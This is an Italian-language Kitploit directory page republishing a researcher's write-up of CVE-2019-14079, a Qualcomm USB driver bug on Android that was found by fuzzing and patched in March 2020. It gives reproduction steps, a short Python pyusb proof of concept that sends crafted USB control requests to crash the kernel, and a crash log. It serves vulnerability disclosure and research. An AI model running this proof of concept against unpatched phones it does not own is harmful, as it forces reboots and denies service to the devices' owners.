Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-14079 — Fuzzing di dispositivi USB su telefono Android | Kitploit
Strumenti/GitHubGitHub/parallelbeings/cve-2019-14079
Sicurezza AndroidSicurezza Sistemi EmbeddedAnalisi delle VulnerabilitàExploitFuzzingSicurezza HardwareBinary Exploitation
GitHubparallelbeings/cve-2019-14079

CVE-2019-14079

Fuzzing di dispositivi USB su telefono Android

Vedi Repository
3734 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Fuzzing del dispositivo USB su Android (CVE-2019-14079)

Questo post riguarda un semplice bug che ho trovato nel mio dispositivo Android (MI A2 - esegue Android stock) usando il fuzzing del dispositivo USB ed è stato classificato come alta gravità da Google. Il bug era nel driver USB Qualcomm, che è stato successivamente patchato e divulgato nel bollettino Android di marzo 2020. La vulnerabilità: quando si inviano richieste USB manipolate al telefono Android, il kernel Android va in crash e il telefono si riavvia.

Questo bug era dovuto a una variabile non inizializzata utilizzata in "core.c" del gadget USB. I dettagli sulla vulnerabilità si trovano nel seguente advisory di sicurezza Qualcomm e nel bollettino Android di marzo 2020.

https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin

Panoramica tecnica

I telefoni Android supportano sia la modalità dispositivo che host. In modalità dispositivo puoi collegare il tuo cellulare a un PC usando un cavo USB e condividere immagini, musica dal telefono al PC con diverse modalità di connessione USB (come solo ricarica, MTP). In modalità host puoi collegare una cuffia, una chiavetta USB usando un cavo OTG, dove i tuoi dispositivi fungono da client e il telefono Android da host.

La vulnerabilità è stata trovata semplicemente randomizzando i parametri di controllo USB come bmRequestType, bRequest, wValue (bDescriptorType:DescriptorIndex), wIndex e wLength e inviandoli al dispositivo Android. Inviando una sequenza di richieste di controllo dall'host Linux ad Android (come mostrato nello script sottostante), il driver del dispositivo USB nel telefono le analizza e causa un kernel panic.

Puoi guardare il video qui sotto per comprendere una panoramica su USB e fuzzing di Andrey Konovalov all'Offensive-con 2019 e anche le basi del protocollo USB: USB 101: An Introduction to Universal Serial Bus 2.0.

https://www.youtube.com/watch?v=1MD5JV6LfxA

Affected Chipsets: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130

Passaggi per riprodurre questa vulnerabilità se non hai aggiornato il telefono con la patch di Android di marzo 2020.

  • Collega il tuo telefono Android a un PC Linux (Ubuntu).
  • Verifica che il debug USB non sia abilitato nel tuo telefono.
  • Il dispositivo deve essere collegato in modalità di ricarica normale.
  • Nell'host Ubuntu, il dispositivo Android si collega come dispositivo USB e viene rilevato come SDMxxx SN:xxxxxx.
  • Controlla i log dmesg o lsusb per identificare il tuo dispositivo.
  • Prendi nota del VID e PID del tuo dispositivo usando lsusb e usali nello script seguente.
  • Esegui lo script Python qui sotto sul tuo PC Linux con pyusb installato.
  • Se vedi il telefono riavviarsi, allora hai sfruttato il bug.
  • Puoi controllare i log del kernel per i messaggi seguenti dopo il riavvio usando logcat o bugreport.

POC

root@kitploit:~
#!/usr/bin/env python3
import usb.core

dev = usb.core.find(idVendor=0x2717, idProduct=0xff40) 

send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000) 
print("Received: " + str(send))

Crash Logs

root@kitploit:~
[  314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[  314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[  314.639060] Modules linked in: wlan(O)
[  314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G           O    4.4.153-perf+ #1
[  314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[  314.639100] Workqueue: dwc_wq dwc3_bh_work
[  314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[  314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[  314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[  314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[  314.639129] sp : ffffffc1f747fbd0
[  314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020 
[  314.639141] x27: ffffff95db082010 x26: 000000000000c040 
[  314.639148] x25: ffffffc174099020 x24: ffffff95db806000 
[  314.639156] x23: 0000000000000000 x22: ffffffc1f613da00 
[  314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00 
[  314.639172] x19: ffffffc174099070 x18: 0000000000000010 
[  314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634 
[  314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff 
[  314.639193] x13: 0000000000000008 x12: 0101010101010101 
[  314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe 
[  314.639208] x9 : ffffffffffffffff x8 : 0000000000808000 
[  314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852 
[  314.639222] x5 : 3a534656330100ff x4 : 0000000000000001 
[  314.639230] x3 : 000000000000000a x2 : 00000000ffffff98 
[  314.639237] x1 : dead000000000100 x0 : dead000000000200 

Prossimi passi

Inoltre, i log del crash non spiegano la ragione del crash. Quindi ho intenzione di aggiungere KASAN alla build nel mio nuovo Pixel e migliorare il mio fuzzing del dispositivo con tecniche di instrumentazione adeguate, come il monitoraggio dei log per i crash durante il fuzzing. Inoltre, libusb non permette di emettere richieste di controllo grandi e spesso vengono troncate. Quindi ho intenzione di provare con l'esempio di kate temkin (fusee_gelee) di usare ioctl per inviare comandi direttamente al driver USB.

Cronologia

  • Il problema è stato segnalato ad Android VRP nell'agosto 2019.
  • Qualcomm lo ha patchato a marzo 2020.

Motivazione e ringraziamenti

  • Il mio mentore (Durga Prasad Sahoo - https://github.com/break2make)
  • NCC per il fuzzing dei dispositivi USB
  • @ktemkin per il suo bel bug USB in Nintendo Switch
Scarica lo strumento